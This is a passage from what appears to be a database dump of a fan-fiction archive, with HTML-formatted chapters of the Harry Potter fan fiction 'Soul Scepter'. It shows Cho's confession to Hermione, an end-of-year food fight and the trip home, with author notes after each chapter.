how can I tell you this? It has nothing to do with that, it has to do with the fact that I like you, I like you as you like Harry.&#8221; Cho was silent waiting for whatever was coming.</p>\n\n<p>It took a moment for what Cho said to register in her mind, her eyes widened. &#8220;I&#8212;I don&#8217;t know what to say.&#8221; Hermione shook her head, &#8220;How can you like me &#8211;that way, I always see you with wizards and Cedric a few years ago.&#8221;</p>\n\n<p>&#8220;Cedric was mad at me most of the night during the Yule Ball he said I didn&#8217;t pay hardly any attention to him; he was just a good friend of mine.&#8221;</p>\n\n<p>&#8220;But what about Harry I know you and him, well&#8212;and all those things you said about me. You certainly don&#8217;t know how to treat someone you like, whether you like wizards or witches, men or women.&#8221;</p>\n\n<p>Cho sat down on the bench, &#8220;Well I slept with Harry and announced it in the library when you were there, to hurt you. I was so mean to you because I knew I couldn&#8217;t have you; think about it. Did Harry ever tell you that I didn&#8217;t really kiss him, well not like you do anyway.&#8221; She saw a light blush flush upon Hermione&#8217;s cheeks, it looked so cute. &#8220;And well I&#8217;m not too fond of public displays of affection, especially if it was you and some guy. Or you might see me with some guy.&#8221;</p>\n\n<p>&#8220;Do you like guys at all, I mean what about that blonde fellow Harry and I saw you with?&#8221; Hermione&#8217;s voice calmed down some and she sat down on the bench next to Cho.</p>\n\n<p>&#8220;I do occasionally like wizards but just as friends. I never really want to date them. I usually end up dating them and I&#8217;m not happy.&#8221; Cho glanced down at her fingers that she just rested in her lap. &#8220;You&#8217;re horrified, aren&#8217;t you?&quot;</p>\n\n<p>Hermione shook her head, &#8220;No I&#8217;m not horrified; a little shocked maybe. But not horrified.&#8221; She looked at the older girl&#8217;s head, which was bowed; Hermione had a question of her own. &#8220;Why did you now decide to tell me about your crush?&#8221;</p>\n\n<p>Cho&#8217;s head snapped up, &#8220;When I saw you unconscious, Harry was carrying you; you looked like you were in a lot of pain. You could have died. I felt so bad that if you had died you would not have known the real reasons for my behavior towards you. I felt guilty, you didn&#8217;t deserve any of the treatment I gave you, and I was taking out my frustration out on you.&#8221; Cho sighed, &#8220;I knew you liked Harry, and I knew he had a crush on me so I took him, to hurt you. I only slept with him twice if you want to know.&#8221;</p>\n\n<p>Hermione sucked in a breath, &#8220;Actually I really didn&#8217;t want to know that.&#8221; Hermione then looked right at Cho, &#8220;But what about New Years day during my fifth year, I remember that like it was yesterday. Harry was so mad at me cause you put and end to yours and his relationship, he said it was all my fault. He said you made him choose between you or me. What was the reason for that?&#8221;</p>\n\n<p>&#8220;It&#8217;s true. He kept giving you all the attention that should have gone to me, I sort of wanted you to stay alone, to feel the pain of loneliness knowing you can never have what you wanted.&#8221; Cho said, &#8220;But I knew when he chose you his friend instead of me his girlfriend and lover, I knew I had lost. I never really had him to begin with, his mind was always on you and what you were doing.&#8221; Cho smiled a bit. &#8220;Even at the Yule Ball in your fourth year, I knew even then. All it needed was a little time. You were very beautiful that night, but then I always thought you were, even when you didn&#8217;t straighten your hair. I often watched you while you were studying away in the library.&#8221; Cho paused. &#8220;I know I&#8217;m just wasting my breath, I know how much you love Harry, I see it.&#8221;</p>\n\n<p>&#8220;Yes I love him so very much.&#8221; Hermione said with a smile.</p>\n\n<p>&#8220;Well I know you and I will never be lovers.&#8221; Cho sighed.</p>\n\n<p>&#8220;No, we won&#8217;t but that doesn&#8217;t mean we still can&#8217;t be friends.&#8221; Hermione said with a smile.</p>\n\n<p>Cho nodded and she smiled too, &#8220;I would like that.&#8221;</p>\n\n<p>&#8220;Well we should get into lunch, I mean I better get in there before Ron eats everything before I get chance.&#8221; Hermione stood.</p>\n\n<p>Cho also stood, &#8220;You know I&#8217;ve always wondered how a guy like him can eat like that and stay so thin.&#8221;</p>\n\n<p>Hermione nodded, &#8220;I know what you mean, I have to work out like four times a week and Ron just packs it away, does the Wizarding world even have a gym?&#8221; </p>\n\n<p>While Hermione and Cho actually had a friendly conversation, they headed into the Great Hall for lunch.</p>\n\n<p>=====</p>\n\n<p>Well you didn&#8217;t expect that of Cho now did you? See she really is very nice. *sigh* okay now&#8217;s the time to give a little moment of silence, yes the next chapter is the last one of Soul Scepter. *sigh* But not to worry the sequel will be out very soon. Stay tuned for the last and final chapter of Soul Scepter, Chapter 27&#8212;Homeward Bound. Please Read and Review, thanks, Ryoko</p> '),
	(41, 27, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;&nbsp; Disclaimer:&nbsp; Alright all\nthe Harry Potter characters belong to J.K. Rowlings,\nexcept for the plot, Zara, Jewel, Enrique, Jasmine, Ulrich, Torrin, Alina,,\nLeelee, Kai, Finley and Orvin.&nbsp; Those are\nmine. So please don&#8217;t sue me because I don&#8217;t have anything&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">Chapter 27&#8212;Homeward Bound</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The end of the year feast was exceptional; all kinds of\nfoods and drinks were situated beautifully on the table as the students dug\ninto the grand meal. Both Hermione and Harry were glancing about the Great\nHall.&nbsp; Hermione saw Cho raise her glass\nto her in a silent salute, and she smiled back at her.&nbsp; She saw Cho hold up her scroll with a red\nsatin ribbon around it, she was a graduated of Hogwarts School of Witchcraft\nand Wizardry and not to mention full-fledged legal witch now.&nbsp; Cho sat her cup down and resumed her\nconversation with her friends at the Ravenclaw table. </p>\n\n<p class="MsoBodyTextIndent">Harry\nnudged her gently in the side; &#8220;Well you two seem to have gotten chummy over\nthe past few months.&#8221; Harry said with a smile, and then added &#8220;Why the change?&#8221;\nHe tilted his head regarding her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione turned and looked at Harry with a smile, &#8220;Well,\nlet&#8217;s just say some people aren&#8217;t as bad as they seem.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What about Malfoy?&#8221; Harry said while helping himself to\nsome roast beef from the center of the table.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione looked over at the Slytherin table, at Draco\nMalfoy.&nbsp; He was enjoying the feast at his\ntable as well. She sighed, &#8220;I don&#8217;t know about him. He is very confusing.&nbsp; After all he did help us with Salazar and\nRowena.&#8221;&nbsp; Her voice dropped lower for\nonly Harry, Ron and Zara, who were also sitting across the table from them, to\nhear.&nbsp; &#8220;But when I was being handled by\nHim, I could have sworn he smirked.&nbsp; I\nhave this feeling he wanted to stand there and watch me suffer. He seemed to\nget off on the pain inflicted upon others, much like his father.&nbsp; But I was too distraught to really know what\nI was seeing, perhaps it was just my imagination.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She lifted her eyes watching Ginny walk over to him; she\nleaned over throwing her arms around his neck. She rested her chin on his\nshoulder.&nbsp; Draco lifted his hands and\nrubbed her arms gently as she embraced him.&nbsp;\nHe was talking to Blaise across the table from him. Blaise had accepted\nGinny so the rest of the Slytherins followed her example.&nbsp; If Blaise accepted someone then they all must\nas well.&nbsp; Ginny let go of Draco&#8217;s neck\nand sat down next to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione shook her head, &#8220;I still don&#8217;t trust him, and I\nnever will.&#8221;&nbsp; Her friends all nodded\nagreeing with her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;We should constantly watch out for him.&#8221; Harry said as he\ntoo looked over at the Slytherin table.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron knew his sister was over there; he didn&#8217;t have to turn\naround to see them.&nbsp; He just hoped that\nhis sister knew what she was doing and what she was getting herself into.&nbsp; Ron learned this year that you can&#8217;t always\ntell people what to do, that they will have to find their own way in life and\nyou can only steer them and hope they head in the right direction.&nbsp; Ron then glanced about the Gryffindor table\nlooking at all the sixth year students, all the Gryffindor friends and mere\nacquaintances.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He turned his gaze to the Ravenclaw table catching all the\nsixth years also enjoying the feast.&nbsp; Ron\ndidn&#8217;t want to see the Slytherins so he avoided that table.&nbsp; The last table was the Hufflepuff table,\nwhere he glanced upon the sixth years there.&nbsp;\nHe saw one certain sixth year glaring in the direction of Gryffindor\ntable, but not at him.&nbsp;&nbsp; Ron followed the\nangry student&#8217;s gaze.&nbsp; The angry glared\nwas directed at Harry and Hermione who were at this moment in each other&#8217;s\narms, holding each other close.&nbsp; Ron\nshook his head thinking about the angry student, &#8216;<i style="mso-bidi-font-style:\nnormal">That boy needs to get over it; he lost a long time ago.&#8217;</i>&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Do you realize that next year is our last year here at\nschool?&#8221; Lavender&#8217;s voice was heard next to Ron, breaking his thoughts and\npulling Harry and Hermione from each other&#8217;s embrace. &#8220;Most importantly we will\nhave to face the world, on our own.&nbsp; No\none will be there to fix our mistakes, if we ever make any.&#8221;&nbsp; Lavender glanced down at her plate of half\neaten food.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes Lavender we realize that, but we have a while to\ndecide.&nbsp; We do have a whole year.&#8221; Seamus\nsaid.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;That&#8217;s not long Seamus, it&#8217;s only a year.&nbsp; That&#8217;s twelve months.&nbsp; It&#8217;s not long at all.&#8221; Lavender said as she\nshook her head back and forth.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione silently agreed and she picked up a roll and split\nit down the side, she buttered it lightly.&nbsp;\nShe lifted it to her mouth and was going to take a bite but Harry\nreached over and snatched it from her hand.&nbsp;\nShe turned to him, &#8220;Hey give that back.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Why? There&#8217;s more bread on the table just get another one.&#8221;\nHe said grinning at her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;That&#8217;s not the point, I already\ntook the time to butter it and everything.&#8221; She held her hand out for the\nbread.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I know, and you did such a good job.&#8221; Harry smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry, give it back.&#8221; Her voice was firm.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;&#8220;Do you really want\nit?&#8221; Harry sighed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione nodded, he was up to something.&nbsp; She just knew it. &#8220;Yes, give it back.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;All right.&#8221; Instead of putting the\nbread in her hand, he quickly lifted it in his palm and rubbed it all over\nHermione&#8217;s shocked face. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Dean tapped Harry on the shoulder getting his attention; he turned\nto him.&nbsp; Hermione sucked in a long\nbreath; she wasn&#8217;t going to yell. She wasn&#8217;t going to scold him about being\nchildish.&nbsp; Instead, she calmly lifted the\nnapkin and wiped the bread and butter from her face.&nbsp; Hermione scanned the table; she reached for a\nbowl of Cherry Cobbler and dumped the entire bowl of it on his head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry&#8217;s head whipped around, looking just as shocked as she\nhad when he smoothed the bread in her face, he couldn&#8217;t believe it she\nretaliated without a lecture. He was stunned.&nbsp;\nCherries, juice and crust dribbled down his hair and face. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione sighed, &#8220;It&#8217;s a beautiful hat Harry, I think it suits you. Very lovely, you should wear it more\noften.&#8221; She smiled brightly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I can&#8217;t believe you just did that!&#8221; He was still shocked,\nbut not shocked enough not to get her back.&nbsp;\nWhile he was distracting her with his right hand by taking the bowl off\nof his head, he was busy grabbing for something, anything off the table with\nhis left hand, which was slightly behind him so Hermione wouldn&#8217;t see.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8216;Ha-ha,&#8217;</i> Hermione\nthought to herself. She could see him reaching for something.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry grabbed a handful of mashed potatoes and threw it at\nher; he didn&#8217;t count on her ducking so that the potatoes sailed over her head,\nhitting Jocko who was sitting next to her in the side of the face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Jocko wiped his face with his hand and turned glaring in the\ndirection the potatoes came from.&nbsp; He\nstood in rage &#8220;Who threw that?!&#8221; He shouted, his cold eyes glaring at each\nperson, no one answered.&nbsp; It didn&#8217;t\nmatter; he too grabbed a handful of potatoes and threw it in the direction of\nthe guilty parties, whoever they were.&nbsp;\nBoth Harry and Hermione ducked and the potatoes hit Dean in the side of\nthe head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;HEY!!&#8221; Dean stood, he was going to retaliate; he reached\nfor something.&nbsp; Soon after he threw a\nhandful of spaghetti with marinara sauce the whole Gryffindor table broke out\ninto a huge food fight, which eventually spread past their table and all around\nthe room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">It was an uncontrollable chaos as the whole student body\nbroke out into a food fight.&nbsp; Dumbledore\nat the high table was laughing.&nbsp; Snape\nstood and tried to put order into this mess.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;All of you stop that, Stop that immediately!&#8221; Snape shouted\nbut the battle continued turned to Dumbledore. &#8220;Headmaster do something, this\nis unacceptable.&#8221; He glared.&nbsp; It appeared\nas though Dumbledore hadn&#8217;t heard a word he said.&nbsp; He grunted loudly and turned back towards the\nwar students. &#8220;I said st&#8212;&#8221; He was cut off as a whole\nchocolate cream pie had imbedded itself right into his face.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Laughter and cheers were floating wildly about the room as\neach student was already covered in a pound of food at least.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp; Hermione&#8217;s hair was\nslicked down, covered with spaghetti noodles, marinara sauce, pudding, and\nwiped cream. Her face was smeared with; well you couldn&#8217;t tell what it was\nanymore. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry dug out a glob of applesauce and threw it at someone;\nhe almost couldn&#8217;t tell who was who anymore everyone was so thickly covered in\nfood.&nbsp; He saw Hermione who was laughing\nduck out of the way of flying cranberry sauce.&nbsp;\nHarry smiled, it had been a long time since he seen her having so much\nfun, he then realized that it was a good idea that he started this, he gave her\nsomething to have fun with.&nbsp; He stepped\nnearer to her and tapped her on the shoulder.&nbsp;\nShe turned to him with a smile, and question in her eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He didn&#8217;t say a word; he reached for her and pulled her into\nhis embrace and covering her mouth with his. Her lips tasted of chocolate and\nplum sauce.&nbsp; She instantly responded, her\nlips parting allowing him entrance.&nbsp;\nHermione felt his tongue press against hers, tangling sweetly\ntogether.&nbsp;&nbsp; Something cold and wet\nsplashed from up above them, drenching them in some sticky liquid.&nbsp; They immediately turned to see what had\nhappened.&nbsp; They both saw Ron standing on\nthe table with a pitcher of lemonade in his hand, grinning down at them. This\ncaused both Harry and Hermione to start laughing</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Dumbledore finally quieted down the Great Hall, and everyone\ntrailed off to bed for the night.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">After showers and everyone got cleaned up, the students\npacked up their stuff.&nbsp; They were ready\nto leave tomorrow.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">All fresh and clean, Hermione headed down into the common\nroom to relax a bit before heading off to bed, she had been having better\nnights, it seemed the nightmares only paid a visit three times during the\nweek.&nbsp; Hopefully they wouldn&#8217;t bother her\ntonight.&nbsp; She sat down in a chair next to\nthe chessboard where Ron and Harry were playing chess.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She noticed Harry looked so engrossed in the game that he\ndidn&#8217;t notice she was there.&nbsp; But that\nwasn&#8217;t true at all; he always knew she was there.&nbsp; Hermione leaned back in the chair watching\nthe game.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hey Hermione.&#8221; Harry said quietly\nas he still held his concentration on the game.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;So whose move is it?&#8221; Hermione asked quietly, she yawned\ngetting more comfortable in the chair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Mine,&#8221; Harry said.&nbsp;\nHis eyes squinted in concentration.&nbsp;\nHis piece moved.&nbsp; There was a\npause and Harry looked up at Ron.&nbsp; &#8220;Check\nmate.&#8221; He said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron&#8217;s jaw dropped as he stared at the board, &#8220;but that&#8217;s impossible.\nI never lose.&#8221; He scanned the board looking at his shattered king, it was true\nhe lost.&nbsp; He looked up and saw Harry\ndoing some kind of funky dance chanting I won, I won.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You&#8217;re a horrible winner Harry.&#8221; Ron said crossing his arms\nin annoyance.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry just continued doing his happy dance and chanting &#8220;I\nwon&#8221; He looked over at Hermione wondering if she would be impressed that he\nfinally beat Ron at Chess.&nbsp; She was\nasleep.&nbsp; He stopped his happy dance and\nlooked over at Ron, &#8220;Well I&#8217;m gonna take her up to the girl&#8217;s dorm.&#8221;&nbsp; He saw Ron, who was cleaning up the Chess\npieces and putting them away, nod.&nbsp; And\nHarry started carrying her up the stairs to the girl&#8217;s dorm.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He lightly kicked the door; since his hands were full he\ncouldn&#8217;t knock.&nbsp; The door opened and\nLavender came into view. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hello Harry.&#8221; She smiled at the site of Harry holding a\nsleeping Hermione.&nbsp; Lavender opened the\ndoor wide and moved out of the way and Harry carried her inside.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry carried Hermione over to her bed and set her\ndown.&nbsp; He looked over at Lavender.&nbsp; He noticed Zara was sitting on her bed with\nParvati playing with tarot cards.&nbsp; Zara\nwho was trying not to laugh seemed to be predicting the girl&#8217;s future.&nbsp; Harry shook his head with amusement; he then\nlooked over at Lavender.&nbsp; &#8220;Do you think\nyou could get her ready for bed?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lavender smirked.&nbsp;\n&#8220;Are you sure you don&#8217;t want to?&#8221; she winked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry laughed a bit &#8220;No, it wouldn&#8217;t be right.&#8221; He said with\na smile even though he&#8217;d already seen her without her clothing, it would still\nmake him feel guilty if he didn&#8217;t get her permission.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;All right Harry, I&#8217;ll take care of it.&#8221; Lavender said and\nshe watched as Harry left quietly from the room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Yawning, Harry retired to his room. Ron was already settling\ndown to sleep.&nbsp; Harry changed into a plain\nblue shirt and cotton shorts and slipped into his bed.&nbsp; He pulled his glasses off and set it on the\ndesk next to the bed and laid his head back on his pillow.&nbsp; He stared up at the dark ceiling.&nbsp; Well tomorrow he would be going home, at least he wasn&#8217;t staying with the Dursleys right\noff.&nbsp; After a few minutes his eyes closed\nand he drifted off to sleep.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The train whistle blew as students were loading the trunks\nonto the train.&nbsp; Harry, Hermione and Ron\nfound their usual compartment.&nbsp; Zara\nwanted to spend half of the journey home with her other friends, and then she\nwould come and fin Ron later.&nbsp; Lavender\nand Seamus decided to join the trio in the compartment.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lavender and Hermione spent some time chatting while Harry\nand Seamus played Muggle checkers.&nbsp; Ron\nwatched.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">After Seamus totally kicked Harry&#8217;s butt at checkers, Harry\nmoved over and sat next to Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well, we&#8217;re almost back; can you believe that so much has\nhappened in a just one year?&#8221; He shook his head remembering all the bad stuff\nthat happened to them, but then he paused in his thoughts looking at Hermione;\nat least one thing went right this year.&nbsp;\nAnd that was he and Hermione.&nbsp;\nThat was right, sure it wasn&#8217;t perfect but it was right.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione too was thinking about the past year, her problems\nwith Draco and the orb, and not to mention Rowena and Salazar.&nbsp; She looked about Harry&#8217;s face; she never\nwould have been able to get through any of it without him.&nbsp; Hermione was thankful that he was in her\nlife; she wouldn&#8217;t change a single thing.&nbsp;\nShe tried to blink back the happy tears that were swelling in her eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry saw a few tears glide down her cheek.&nbsp; &#8220;Hey, hey what&#8217;s the matter?&#8221; He was\nconcerned and he wrapped his arms around her, pulling her against him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She rested her cheek on his shoulder &#8220;Nothing, except I love\nyou.&#8221; Hermione spoke quietly. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He pulled her back, and a smile graced his face.&nbsp; He cupped her face within his hands gazing\ndeeply into her eyes; he wiped her tears away with his thumbs.&nbsp; He lowered his lips to hers and kissed her\nsoftly.&nbsp; Hermione&#8217;s arms tightened around\nhim and both their mouths opened to receive each other.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron coughed breaking Harry and Hermione&#8217;s moment.&nbsp; &#8220;Sorry to interrupt, but we&#8217;re back.&#8221;&nbsp; Ron actually looked a little sad.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry and Hermione both sighed with regret; they would be\napart all summer.&nbsp; How could they bear\nthat?&nbsp; They both stood and carried their\ntrunks from the compartment; they stepped off the train and onto the platform\nnine and three quarters. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;They each went\nthrough the barrier. Hermione spotted her parents and Harry spotted Sirius.\nHarry and Hermione looked at each other one last time.&nbsp; And Hermione ran towards her parents as they\nboth embraced their daughter so tightly.&nbsp;&nbsp;\nHarry smiled at the scene.&nbsp; He\nfelt someone pat him on the back, he turned and found Ron.&nbsp; &#8220;Bye Harry, see you next year, maybe I can\nget you and Hermione back over to my house during the summer, we shall see\nhuh?&#8221; He smiled and went off with his family.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded and then turned to find Sirius coming towards\nhim, as soon as his Godfather reached him, his arms opened wide and Harry was\ndeveloped in a bone crushing hug.&nbsp;&nbsp;\n&#8220;Sirius, I can&#8217;t breathe.&#8221; He gasped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Sirius chuckled and let go, &#8220;Sorry.&nbsp; I&#8217;m just glad you are all right.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You and me both.&#8221; Harry said with\na smile and the started towards the Muggle parking lot.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;So tell me about all the good things that happened during\nthe year.&#8221;&nbsp; Sirius asked with a\nsmile.&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Only one real good thing happened this year, and that good\nthing is Hermione.&#8221;&nbsp; Harry said with a\nwide grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Sirius&#8217;s eyebrows perked, he was ready to listen as Harry\ncontinued to share his year with Sirius with leaving little personal matters\nout of the conversation.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry felt it was going to be a good summer.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">=====</p>\n\n<p class="MsoNormal">&nbsp;*sniff, sniff* well that&#8217;s\nit for Soul Scepter, did you ever think we would get to the end.&nbsp; I will miss writing it, I know.&nbsp; But the sequel is really exciting.&nbsp; And I hope you stay tuned for the sequel\nAmulet of Torna.&nbsp; It will be a\nblast.&nbsp; Read and Review, thanks Ryoko.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp; </p>\n\n\n\n\n\n\n'),
